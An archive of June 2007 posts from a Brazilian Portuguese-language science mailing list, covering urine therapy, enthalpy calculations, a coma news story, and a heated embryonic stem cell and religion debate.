> Outras questões seriam o conteúdo do estômago, que ficaria em posição
> inabitual (talvez uma gastrite ou forte azia..:), dores de cabeça
> (pressão nas artérias é uma das causas principais de dor de cabeça) e
> mesmo desconforto e dores abdominais, pois os órgãos internos ficariam
> "pendurados" de forma não natural (já não são muito corretamente
> posicionados, pois nossa evolução de quadrupede para bípede não foi
> muito boa..:-).
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: [ciencialist] De cabeça pra baixo.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/06/2007 23:14

Gil:
Na igreja de Guarapari tem uma sala escrito "Farmácia". se chevar lá com uma câmara escondida e com roupas bem simples, é só dizer que sofre há anos de uma sinusite que não tem cura: a moça vai indicar um remédio para pingar mandar pongar sua urina duas vezes por dia. É so gravar e mandar para a Anvisa.

sds.,
silvio

----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, June 02, 2007 7:21 AM
Subject: Re: [ciencialist] De cabeça pra baixo.


Não é estudo não, foi curiosidade mesmo.

Já vi alguns defensores da urinoterapia , mas nenhum deles chegou a
praticar. Na hora do "vamovê", todo mundo procura os bons e velhos
comprimidos, injeçoes, e operações convencionais :)

Taí uma boa previsão: fundarão uma seita de morcegoterapia.

Gil
Em 01/06/07, Jeff<jeff@jeff.com.br> escreveu:
> >
> >Quanto tempo uma pessoa sobrevive, estando "pendurada" de cabeça pra
> >baixo? O que ela sentiria, com o passar do tempo?
> >Não, não vou me pendurar, nem pendurar ninguém de cabeça pra baixo. Só
> >bateu a curiosidade, após ouvir um desses "causos" populares em que
> >ninguém questiona coisa alguma, e todo mundo acha que é médico :).
> >
>
> Já ouví falar em gente que dorme de cabeça pra baixo, como morcego. Dizem
> que é bom pra saúde e que viverão mais fazendo isso. Então uma pessoa pode
> ficar de ponta-cabeça durante umas 8 horas sem problemas :-)
>
> Isso aí me parece mais um "estudo" de algum pseudo-cientista. Como daquela
> gente que bebe a própria urina dizendo esta é rica em nutrientes, que seria
> um "presente divino" que jogamos fora! :-) Tem até uma "seita" de bebedores
> de mijo aqui no Brasil.
>
> []´,s
> Jeff.
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Matrix - especial para o Ferrari
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 23:39

Ferrari, você se impressionou muito com o filme Matrix e depois disso
resolveu revolucionar o conhecimento humano... Bom, eu tenho uma
notícia para você... Nem tudo é como se parece.

Escolha qual pílula tomar e, depois, se escolher corretamente,
entenderá o que o Oráculo tem a dizer nesse vídeo:

http://www.youtube.com/watch?v=-dcmDscwEcI

Abraços,
JC



SUBJECT: Re: [ciencialist] Re: Efeito Casimir
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/06/2007 07:41

Gostei do Efeito Brigite Bardot! :-)

Vou roubar (com os devidos creditos) lah pro blog do Humor na ciencia.

http://www.humornaciencia.com.br/blog/2007/06/efeito-brigitte/

Ateh
Luis Brudna




On 5/28/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> É isso ai! Ainda hoje o Casimir estará on-line!
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "rmtakata" <roberto.takata@bol.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: segunda-feira, 28 de maio de 2007 13:51
> Assunto: [ciencialist] Re: Efeito Casimir
>
> http://br.groups.yahoo.com/group/ciencialist/files/efeitocasimir.gif
>
> []s,
>
> Roberto Takata
>


SUBJECT: Re: [ciencialist] Re: Dúvida Termoquímica
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/06/2007 08:05

O precisao com o Cp (Cv - em volume constante) deve ser tomada em
sistemas gasosos. Em um liquido ou solido a pressao nao varia tanto.

Para um gas ideal Cp - Cv = R

Eh bom lembrar que o Cp pode variar com a temperatura. Existem
tabelas para conseguir esses valores, mas soh servem para casos em que
se quer precisao.

Ateh
Luis Brudna


On 5/31/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> > Alguém sabe me dizer se é possível calcular a entalpia
> > e a entropia de uma substância em determinada
> > temperatura a partir da sua entalpia padrão (Hº)?
> >
> > Por exemplo, a entalpia de formação padrão da água
> > líquida (tabelado) é -285,8 kJ/mol (em 25ºC). Quanto
> > seria a entalpia da mesma substância em 85ºC? É
> > possível determinar isso sem ser empiricamente?
>
> Sim, é possível se usar a fórmula:
> (h2 - h1) = cp*(T2 - T1)
>
> (Mas a pressão precisa ser mantida constante para q ela valha, daí o
> "cp" - o coeficiente de calor específico a pressão constante. O h aqui
> é a entalpia específica e T a temperatura absoluta.)
>
> []s,
>
> Roberto Takata
>


SUBJECT: Acorda após 19 anos em coma
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/06/2007 10:12

G1 - 2/06/2007 - 19h58 - Atualizado em 02/06/2007 - 20h01

Polonês passa 19 anos em coma, acorda e se espanta com o fim do comunismo
Ferroviário Jan Grzebski diz que mudanças fazem sua "cabeça rodar".
Filme alemão "Adeus, Lênin" (2003) imaginou situação semelhante.
Um polonês de 65 anos que entrou em coma após um acidente recuperou sua consciência depois de 19 anos e se espantou com as transformações ocorridas durante este período no ex-país comunista.
O ferroviário Jan Grzebski, cujos médicos haviam dados apenas mais dois ou três anos de vida após o acidente ocorrido, creditou sua recuperação à atenção dada por sua esposa.

"Foi Gertruda que me salvou. Isso eu nunca vou esquecer", disse ele a uma rede de televisão local.

Grzebski afirma que as mudanças que encontrou no país fazem sua "cabeça rodar". "Quando eu entrei em coma, só havia chá e vinagre nas lojas e a carne era racionada", contou. "Agora eu vejo pessoas andando nas ruas com celulares e tantos produtos nas lojas que fazem a minha cabeça rodar."

Ele também encontrou seus quatro filhos casados e 11 netos que nasceram durante as mudanças precipitadas com o colapso do regime comunista na União Soviética e simbolizadas pela queda do Muro de Berlim.

O filme "Adeus, Lênin" (2003), do diretor Wolfgang Becker, mostrava um garoto que, temendo pela saúde da mãe (que também havia ficado em coma durante o fim do comunismo na antiga Alemanha Oriental), fazia de tudo para esconder as transformações passadas pelo país na unificação com a parte ocidental e a transição para o capitalismo.



< http://g1.globo.com/Noticias/Mundo/0,,MUL46304-5602,00.html >


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: quem acredita?
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 03/06/2007 14:43

Vejam que frase... muito chata p/quem entende:

"""Quote of the Day

"There are children playing in the street who could solve some of my top
problems in physics, because they have modes of sensory perception that I
lost long ago."
- Robert Oppenheimer

Note: o Oppenheimer era straight on the topics e bem no escopo. Cá entre nós
ele tinha caspa e praticava o onamismo...
abr/M. SP 03/junh07




SUBJECT: Re: [ciencialist] Acorda após 19 anos em coma
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/06/2007 19:58

E essa mensagem, por acaso, muda as leis da Física?
Tem algo a ver com a C-List?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 3 de junho de 2007 10:12
Assunto: [ciencialist] Acorda após 19 anos em coma


G1 - 2/06/2007 - 19h58 - Atualizado em 02/06/2007 - 20h01

Polonês passa 19 anos em coma, acorda e se espanta com o fim do comunismo
Ferroviário Jan Grzebski diz que mudanças fazem sua "cabeça rodar".
Filme alemão "Adeus, Lênin" (2003) imaginou situação semelhante.
Um polonês de 65 anos que entrou em coma após um acidente recuperou sua consciência depois de 19 anos e se espantou com as transformações ocorridas durante este período no ex-país comunista.
O ferroviário Jan Grzebski, cujos médicos haviam dados apenas mais dois ou três anos de vida após o acidente ocorrido, creditou sua recuperação à atenção dada por sua esposa.

"Foi Gertruda que me salvou. Isso eu nunca vou esquecer", disse ele a uma rede de televisão local.

Grzebski afirma que as mudanças que encontrou no país fazem sua "cabeça rodar". "Quando eu entrei em coma, só havia chá e vinagre nas lojas e a carne era racionada", contou. "Agora eu vejo pessoas andando nas ruas com celulares e tantos produtos nas lojas que fazem a minha cabeça rodar."

Ele também encontrou seus quatro filhos casados e 11 netos que nasceram durante as mudanças precipitadas com o colapso do regime comunista na União Soviética e simbolizadas pela queda do Muro de Berlim.

O filme "Adeus, Lênin" (2003), do diretor Wolfgang Becker, mostrava um garoto que, temendo pela saúde da mãe (que também havia ficado em coma durante o fim do comunismo na antiga Alemanha Oriental), fazia de tudo para esconder as transformações passadas pelo país na unificação com a parte ocidental e a transição para o capitalismo.



< http://g1.globo.com/Noticias/Mundo/0,,MUL46304-5602,00.html >


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SUBJECT: Frase da semana.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>
DATE: 03/06/2007 20:38



"Só há duas coisas infinitas: o Universo e a estupidez humana.

Mas quanto à primeira não tenho a certeza."

Einstein.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Acorda após 19 anos em coma
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/06/2007 22:05

Luiz, para vc Ciência se resume apenas à Física?! Está na hora de acordar.
Esse é um dos temas recorrentes na lista: vida, morte, cérebro, consciência,
memória, ser humano...
[]s
JR
...........................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, June 03, 2007 7:58 PM
Subject: Re: [ciencialist] Acorda após 19 anos em coma


E essa mensagem, por acaso, muda as leis da Física?
Tem algo a ver com a C-List?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 3 de junho de 2007 10:12
Assunto: [ciencialist] Acorda após 19 anos em coma


G1 - 2/06/2007 - 19h58 - Atualizado em 02/06/2007 - 20h01

Polonês passa 19 anos em coma, acorda e se espanta com o fim do comunismo
Ferroviário Jan Grzebski diz que mudanças fazem sua "cabeça rodar".
Filme alemão "Adeus, Lênin" (2003) imaginou situação semelhante.
Um polonês de 65 anos que entrou em coma após um acidente recuperou sua
consciência depois de 19 anos e se espantou com as transformações ocorridas
durante este período no ex-país comunista.
O ferroviário Jan Grzebski, cujos médicos haviam dados apenas mais dois ou
três anos de vida após o acidente ocorrido, creditou sua recuperação à
atenção dada por sua esposa.

"Foi Gertruda que me salvou. Isso eu nunca vou esquecer", disse ele a uma
rede de televisão local.

Grzebski afirma que as mudanças que encontrou no país fazem sua "cabeça
rodar". "Quando eu entrei em coma, só havia chá e vinagre nas lojas e a
carne era racionada", contou. "Agora eu vejo pessoas andando nas ruas com
celulares e tantos produtos nas lojas que fazem a minha cabeça rodar."

Ele também encontrou seus quatro filhos casados e 11 netos que nasceram
durante as mudanças precipitadas com o colapso do regime comunista na União
Soviética e simbolizadas pela queda do Muro de Berlim.

O filme "Adeus, Lênin" (2003), do diretor Wolfgang Becker, mostrava um
garoto que, temendo pela saúde da mãe (que também havia ficado em coma
durante o fim do comunismo na antiga Alemanha Oriental), fazia de tudo para
esconder as transformações passadas pelo país na unificação com a parte
ocidental e a transição para o capitalismo.



< http://g1.globo.com/Noticias/Mundo/0,,MUL46304-5602,00.html >


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Ciência & Religião.
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>, Acrópolis <acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>
DATE: 03/06/2007 23:07

"A mentalidade aberta e desprovida de *preconceitos*, como nos ensinou
Galileu, é indispensável para a geração do verdadeiro conhecimento." (Belita
Koiller)
...................................
Esqueceu a acadêmica Belita Koiller, que a humanidade desenvolve conceitos e
mantém preconceitos desde sempre. Tudo o que existe hoje em ciência e
cultura já foi pensado, discutido e experimentado. Usar o termo preconceito,
apenas para menosprezar os conceitos dos meus opositores, é tentar enganar
os menos avisados. Ela esqueceu que os conceitos de Justiça, Respeito,
Bondade, Vida, Honra, Existência, Paz, Humanidade, Honestidade, etc. vêm
sendo construídos a duras penas durante milênios. E sempre há aqueles
imaturos descontentes que desejam fazer o que lhes passar pela cabeça, sem
considerar as conseqüência.

O ocorrido com Galileu resume-se a briga de poder político e não a uma
questão de ciência, visto que Copérnico já publicara livro sobre o assunto
cerca de 15 anos antes, dedicado ao Papa, seu amigo e padrinho, maior
incentivador de seus inovadores estudos astronômicos. As leis, a moral, o
direito e a justiça são preconceitos testados e estabelecidos ao longo
desses milênios, sempre em confronto com aqueles cujo os desejos imediatos
conflitam com esses conceitos consolidados.

Observar que os que denunciam preconceitos retrógrados são aqueles que estão
bem, são articulados e têm poder. O cidadão que não tem essas vantagens
político-social-econômicas preza muito esses preconceitos que lhe garante um
mínimo de participação, justiça, direito e cidadania. São aos mais frágeis
que a Justiça protege. No caso da célula-tronco não é diferente. Com a
desculpa de utilizar embriões congelados que serão descartados no lixo(?!)
desejam a liberação geral para as pesquisas com células-tronco embrionárias.
Quando já se têm firmado cerca de 81 procedimentos terapêuticos efetivos e
seguros, realizados com células-tronco obtidas do próprio paciente ou de
cordões umbilicais.

Já repararam como os transgressores, corruptores, agressores e criminosos
não têm preconceitos, nem dão a mínima às leis estabelecidas! Quando os
donos do poder não pesam suas decisões é toda a humanidade que paga.

[]s

José Renato
.....................................

From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Cc: <pedraderoseta@yahoogrupos.com.br>
Sent: Saturday, June 02, 2007 11:41 AM
Subject: [Spam] [ciencialist] Ciência & Religião.


Belita Koiller: Convicções religiosas ameaçam a continuidade de
pesquisas científicas extremamente relevantes

Ela saudou os novos acadêmicos no ato de posse. E disse, entre outras:
"Seria enorme desperdício para a humanidade abrir mão de metade dos talentos
potenciais para a ciência, caso o trabalho científico continuasse sendo
visto como uma atividade predominantemente masculina"

Leia a integra do discurso da acadêmica Belita Koiller:

"Cabe-me esta noite a grande honra de saudar os novos acadêmicos. Em
nome da ABC gostaria de expressar as nossas boas vindas aos que hoje tomam
posse, e agradecer a todos pelo enriquecimento e prestígio que nos trazem
com sua competência científica e experiência de vida.

Creio ser desnecessário explicar aos novos colegas o que é a ABC. A
programação desta Reunião Magna anual ilustra bem sua atuação, sua
relevância, sua presença nacional e sua inserção na comunidade científica
internacional:

1) O Simpósio Jovens Cientistas, com palestras dos nossos prováveis
futuros colegas acadêmicos, demonstra a atenção da ABC com o futuro, a
renovação e a continuidade do trabalho aqui desenvolvido;

2) Simpósios sobre Mudanças Climáticas, Amazônia e Ensino de Ciências
e Matemática, são representativos de alguns dos graves problemas nacionais
que a ABC debate, valendo-se de seus membros especialistas. Para lidar com
esses problemas, avalia alternativas cientificamente viáveis, e sobre eles
assessora o governo e informa a sociedade;

3) A apresentação pelo ministro Sergio Rezende, nosso colega
acadêmico, do Plano Plurianual de C&T, para discussão com a comunidade
acadêmica, exemplifica o prestígio e a responsabilidade da ABC junto ao
governo;

4) Conferências Magnas proferidas pelos profs. Yoccoz e Rao,
destacados cientistas internacionais, bem como a reunião do Conselho
Científico Brasil-Índia, ilustram a abrangente inserção internacional da
ABC.

Aproveito a menção à inserção internacional da ABC para dirigir uma
breve saudação aos membros estrangeiros que tomaram posse hoje: I am deeply
honored to represent the Brazilian Academy of Sciences in saluting and
welcoming the distinguished Foreign Scientists that join the Brazilian
Academy of Sciences tonight, and in thanking you for bringing your
scientific expertise to keep our Academy strong and ever more prestigious,
enhancing its national and international impact and relevance.

Confesso que fiquei surpresa ao receber este honroso convite do
presidente Jacob Palis. Em termos aleatórios, a chance de que uma Acadêmica
fosse escolhida entre os atuais membros seria de 10%.

Na minha área, das Ciências Físicas, a probabilidade de escolha de uma
mulher não chega a 5%.

Suspeito que a escolha não tenha sido aleatória, mas uma forma de
manifestar a intenção da ABC de valorizar e incentivar a presença das
mulheres na ciência.

Seria enorme desperdício para a humanidade abrir mão de metade dos
talentos potenciais para a ciência, caso o trabalho científico continuasse
sendo visto como uma atividade predominantemente masculina.

É importante sinalizar para a sociedade, particularmente para as
jovens estudantes, que as ciências apresentam opções profissionais
atraentes, viáveis e gratificantes também para elas.

Para isso contribui o ingresso hoje de nossas colegas Ângela Maria,
Berenice, Maria Assunção, e Miriani.

Permitam-me prosseguir na saudação aos novos acadêmicos em estilo um
pouco mais pessoal. Seguindo o simbolismo da escolha pela direção da ABC,
dirijo especiais boas-vindas à minha colega Miriani, que ingressa na área
das Ciências Físicas (nos conhecemos há 20 anos, quando participamos do
Comitê Assessor de Física e Astronomia do CNPq).

Como boa Astrônoma, especialista em estrelas e galáxias, Miriani já
chega em alta, elevando para 6% a proporção feminina nas Ciências Físicas.

Os fenômenos astronômicos sempre maravilharam a humanidade. Sua
compreensão e formulação em termos de leis fundamentais da Física tiveram
início com Galileu Galilei, cientista italiano que viveu de 1564 a 1642.

Naquela época, a explicação vigente para o movimento dos corpos havia
sido concebida por Aristóteles, quase 2000 anos antes: Aristóteles dividia o
universo entre "Mundo Terrestre" e "Mundo Celeste".

Os 4 elementos existentes no "Mundo Terrestre", terra, água, ar e
fogo, tenderiam a deslocar-se para seu "lugar natural":

1) Terra e água: para baixo.

2) Ar e fogo: para cima.

Já os corpos do "Mundo Celeste", sendo constituídos de uma "5ª
essência" ou "essência divina", teriam como estado natural o movimento em
torno da Terra.

Com isso estava explicado o movimento dos corpos celestes, no centro
dos quais a Terra permaneceria fixa - a chamada concepção geocêntrica.

Galileu utilizou uma luneta para observar o movimento dos planetas e
seus satélites, e, com base em suas observações e na elaboração matemática
dos resultados, refutou as explicações vigentes e o modelo geocêntrico para
o universo.

As conseqüências disso na época são bem conhecidas: Por ter
questionado publicamente o modelo geocêntrico, Galileu foi acusado pelo
tribunal do Santo Ofício em 1633 e obrigado a renegar sua convicção de que a
Terra se deslocava no espaço. Seus livros foram proibidos e seu processo
permaneceu arquivado por 350 anos.

Isso não impediu que a humanidade viesse a reconhecê-lo como aquele
que inaugurou o método científico moderno, que une a observação empírica, a
elaboração de modelos e sua verificação experimental, abrindo o caminho para
a ciência newtoniana e para a investigação científica como a conhecemos e
praticamos hoje.

É surpreendente por isso testemunharmos - nos dias que correm - atos e
declarações de autoridade do poder Judiciário do nosso país, baseados em
convicções de natureza religiosa, que ameaçam a continuidade de pesquisas
científicas extremamente relevantes realizadas no Brasil.

Refiro-me ao trabalho com células-tronco embrionárias visando
aplicações terapêuticas.

São fatos como esses que não permitem esquecer que a prática da
ciência, que tantos, e essenciais, e indiscutíveis benefícios tem trazido à
humanidade, requer constantemente, perseverantemente, de todos, e
particularmente de nós cientistas, a defesa dos princípios e do método
científico.

A mentalidade aberta e desprovida de preconceitos, como nos ensinou
Galileu, é indispensável para a geração do verdadeiro conhecimento."


[As partes desta mensagem que não continham texto foram removidas]




SUBJECT: P/ Reanto (de novo..:-( Re: Ciência & Religião.
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/06/2007 23:52

Olá Renato

A barbárie e a ignorância não dão tréguas, e a cada pronunciamento
racional, consistente e coerente, um ataque obscurantista se segue.

A academica, em seu excelente texto, não se "esqueceu" de nada, pelo
contrário, foi direto ao ponto e com precisão apontou o dano que os
preconceitos e superstições religiosas, de pessoas que se sentem
divinas e inspiradas por divindades imaginárias, causam a toda a
sociedade.

Por exemplo, sua insistência, Renato, cega e obcecada em defender que
um embrião, um agrupamento de células fracamente ligadas, tem o mesmo
status que um bebê recém nascido, uma criança com distrofia muscular,
um adulto plenamente desenvolvido, uma mulher em gestação.

E a pretensão e arrogância de se colocar como "portador da verdade
imutável" e todos os que pensam diferentes como "transgressores,
corruptos e agressores criminosos".

Na verdade, as pessoas que defendem o uso de embriões e de células
tronco é que estão verdadeiramente preocupadas com os seres humanos,
com a dor alheia, com as sociedades, e são as que tem a intenção de
sempre melhorar a qualidade de vida e minorar o sofrimento do maior
número possível de pessoas.

Mas tem de lutar contra superstições ancestrais, religiosos
extremados, tolices absurdas e preconceitos arraigados.

Um embrião descartado em fertilizações "in vitro" (que a religião
também quer impedir de ser praticada) não pode ser usado para mais
nada, a não ser o lixo. Mas suas células tronco podem ser usadas para
compreender melhor o funcionamento de nossos organismos, organismos
animais, e minorar a dor alheia. Ainda que fossem seres humanos, o que
não são, não vejo final mais nobre que esse para uma existência, e
nada em mim recusaria ser utilizado dessa forma, se eu mesmo fosse um
embrião nunca nascido.

Só o egoísmo tolo de religiosos, que se pretendem divinos filhos de
uma divindade maluca poderia se recusar a ajudar, na absoluta
impossibilidade de fazer qualquer outra coisa, e preferir ir para o
lixo a isso!

Renato: " Usar o termo preconceito, apenas para menosprezar os
conceitos dos meus opositores, é tentar enganar os menos avisados."

Tolice. Preconceito é fazer ilações sem saber do que se fala,
prejulgando com base em superstições. Se meu opositor faz isso, é
preconceituoso, nada mais nada menos. Religiões são preconceituosas
por natureza, não podem evitar. Seu Papa já disse em alto e bom som, a
única religião que salva, a única forma de evitar o inferno, é ser
católico. Isso é preconceito em estado puro.

Eu, pessoalmente, menosprezo quem defende preconceitos e superstições,
em detrimento de ajuda a quem precisa e do conhecimento científico que
pode ajudar a todos os seres humanos.

Renato: "O ocorrido com Galileu resume-se a briga de poder político e
não a uma questão de ciência, visto que Copérnico já publicara livro
sobre o assunto cerca de 15 anos antes, dedicado ao Papa, seu amigo e
padrinho, maior incentivador de seus inovadores estudos astronômicos."

Sei, sei, e Giordano Bruno foi para a fogueira porque quis, para se
punir de seus pecados, não? E a inquisição foi um santo movimento para
salvar as almas das pessoas, não? Que distorção mais absurda da
história, só poderia sair da mente de religiosos, que tem na distorção
da história a única forma de escapar das crueldades e erros que
permeiam todo seu passado como instituição!

Se o vaticano se preocupou com astronomia, foi justamente para evitar
cometer as burrices que cometeu com Galileu, e evitar ser pego de
calças curtas de novo, e passar pelo vexame de proibir a divulgação de
um conhecimento que todos podiam ver que era real e correto.

Parecem que não aprendem, e tentam repetir tudo de novo com as células
tronco embrionárias. E vão falhar, de novo, e de novo, e de novo,
vexame atras de vexame, sem aprender, sem mudar, sem crescer e sem se
tornar adultos, abandonando amigos imaginários e papais do céu.

Renato: "São aos mais frágeis que a Justiça protege. No caso da
célula-tronco não é diferente. "

É totalmente diferente! Células tronco, embriões, mórulas, óvulos
fecundados NÃO são seres humanos, não são passíveis de proteção legal
como um bebê ou adulto.

Se acha que não, responda a eterna pergunta (da qual tem fugido como o
diabo da cruz, ou o Papa da razão e da lógica), entre salvar um único
bebê recém nascido e 200 (ou mil, o que quiser) embriões em uma placa
de petri, o que escolheria, Renato? Poderia viver depois de deixar um
bebê morrer em um incêndio, enquanto salvava 200 mórulas em uma placa
de petri???

Não sei se é casado, Renato, mas se for, e se fizer sexo com sua
esposa (vai saber), deve saber também que em cada 10 fecundações, 8
não vingarão e sairão com a menstruação. Você sofre, chora e lamenta
cada um desses 8 óvulos que não se fixa no útero de sua esposa, Renato?

Se não o faz (e sabemos que não o faz), pode explicar porque não sofre
pela perda de "8 vidas humanas", mas pretende impedir as pesquisas que
permitirão salvar vidas, curar doenças, ou no mínimo nos fazer
entender melhor nossa formação, nosso desenvolvimento, nossa origem e
funcionamento?

Talvez seja isso que o assuste, que assuste o seu Papa e sua religião,
conhecimento científico sobre óvulos, mórulas, gestação, genética,
desenvolvimento, etc, é conhecimento que nos leva cada vez mais a
entender nossa origem animal, material, concreta, não sobrenatural e
não transcendente.

E isso deve assustar um bocado a quem precisa se manter preso a uma
superstição ancestral para obter conforto e diminuir o medo da vida.

Isso é cansativo, ainda mais em uma lista que discute ciência e
conhecimento científico..:-( Onde todos compreendem que um óvulo
fecundado, que pode vir a ser, ou não, um ser humano, não é o mesmo
que um ser humano pleno, completo e real.

Homero



SUBJECT: Laerte, o Profeta
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 00:13

Cat grows wings
http://www.ananova.com/news/story/sm_2344838.html

Laerte é um profeta:
http://www2.uol.com.br/laerte/tiras/gatos/tira76.gif

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Cristianismo, darwinismo, marxismo...
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 07:49

Caro Bulcão,



Você exprressou bem a coisa, como a coisa está. Baixíssimo nível,
desinteressante e desanimador, acrescento. Infelizmente. Comentários e
discussões sobre ciência que é bom, tipo dos de hás uns bons meses, nadica
de nada.

Particularmente, nem estou abrindo mais os e-mails, só pelo título e/ou
autores, já dá para inferir a inutilidade, para mim, claro, do que virá após
o click. Estava com uns 300 e lá vai cacetada em preto. Há uns dias,
deletei.

Mentiria se dissesse que esta é a única razão pela qual reduzí quase
totalmente minhas participações, que, ante o universo de assuntos tão, tão,
aquelas, sim, se configurariam como desinteressantes. Também estou com
outras atividades, que me têm tomado bastante tempo. Além do mais, a
ciência das ciências (divinha, qual!) tem sido, há um bom tempo também,
comentada quase como monólogo,quando o é. Brochante, ciencialisticamente
falando.

Lí a matéria que postou. Como sempre, erudito sem ser maçante e repleto de
conteúdo útil. Mas seria pleonasmo fazer elogios.

Quando completar o livro, avise-nos.



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Manuel Bulcão
Enviada em: quarta-feira, 6 de junho de 2007 03:54
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Cristianismo, darwinismo, marxismo...



Olá,

Andei lendo as últimas mensagens da C-List. O nível está muito baixo,
os assuntos e "polêmicas" são de uma insignificância que beira o zero
redondo. Muito bate-boca, discussões circulares, abobrinhas!

Por isso, para arejar o ambiente, postei na seção Arquivo da C-list
um texto de minha autoria, intitulado "Contribuições cristãs ao
racismo e a outras alofobias". Vejam:

http://br.groups.yahoo.com/group/ciencialist/files/Contribui%80%A0%A6%
<http://br.groups.yahoo.com/group/ciencialist/files/Contribui%80%A0%A6%25>
E7%F5es%20\crist%80%A0%A6%E3s%20ao%20racismo%20e%20a%20outras
20alofobias.doc

O texto permanecerá na lista até segunda-feira da próxima semana. Não
posso deixá-lo acessível on-line indefinidamente, pois que se trata
de um dos capítulos - o terceiro - de um novo ensaio que estou
terminando.

Amplexos,
Manuel Bulcão
PS: Aproveito para agradecer aos bons pitacos do Takata. O
termo "alofobia", foi ele quem inventou.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Frase do Dia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>
DATE: 04/06/2007 08:38

"Tem gente que está sempre disposta a negar tudo aquilo que não compreende." [João da Silva]
[]'
Léo



SUBJECT: Re: [ciencialist] Acorda após 19 anos em coma
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 08:45

Acordei!
E continuo achando que a mensagem nada tem a ver com a C-List!
E continuo achando que a Física é a base da Ciência Hard ... aliás, a única Ciência!
O resto está em coma.
[]'
Léo
+++++++++++++++++++
De: "José Renato"

Luiz, para vc Ciência se resume apenas à Física?! Está na hora de acordar.
Esse é um dos temas recorrentes na lista: vida, morte, cérebro, consciência,
memória, ser humano...
[]s
JR
...........................................



SUBJECT: Re: [ciencialist] Acorda após 19 anos em coma
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 10:22

A física definitivamente não é a única ciência. É apenas a única ciência a
tratar de fenômenos muito, muito simples.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 04, 2007 8:45 AM
Subject: Re: [ciencialist] Acorda após 19 anos em coma


Acordei!
E continuo achando que a mensagem nada tem a ver com a C-List!
E continuo achando que a Física é a base da Ciência Hard ... aliás, a única
Ciência!
O resto está em coma.
[]'
Léo
+++++++++++++++++++
De: "José Renato"

Luiz, para vc Ciência se resume apenas à Física?! Está na hora de acordar.
Esse é um dos temas recorrentes na lista: vida, morte, cérebro, consciência,
memória, ser humano...
[]s
JR
...........................................



SUBJECT: Ensino basico, silenciosa tragedia nacional
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 04/06/2007 11:37

Grupos.com.br



Ensino básico, silenciosa tragédia nacional

Sebastião de Amorim

